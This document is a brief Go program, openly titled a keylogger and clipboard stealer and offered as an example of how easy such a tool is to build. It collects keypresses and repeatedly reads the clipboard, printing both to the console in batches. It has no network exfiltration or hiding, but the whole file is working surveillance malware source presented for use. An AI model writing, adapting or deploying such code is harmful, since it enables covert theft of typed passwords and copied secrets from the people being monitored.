keylogger and clipboard stealer

keylogger.go

// Example of how easy to develop keylogger in golang
package main

import (
	"fmt"

	"github.com/atotto/clipboard"
	"github.com/cloudflare/cfssl/log"
	"github.com/eiannone/keyboard"
)

func main() {

	keysEvents, err := keyboard.GetKeys(10)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = keyboard.Close()
	}()

	keys := []string{}

	for {
		event := <-keysEvents
		if event.Err != nil {
			panic(event.Err)
		}

		keys = append(keys, string(event.Rune))

		if event.Key == keyboard.KeyEsc {
			break
		}

		clipboardContent, err := clipboard.ReadAll()

		if err != nil {
			log.Error(err)
		}

		if len(keys) > 10 {
			fmt.Println("keys:")
			for _, key := range keys {
				fmt.Print(key)
			}
			keys = nil
			fmt.Printf("\ncliboard:\n")
			if len(clipboardContent) > 0 && err == nil {
				fmt.Println("Clibaord content", clipboardContent)
			}
		}

	}
}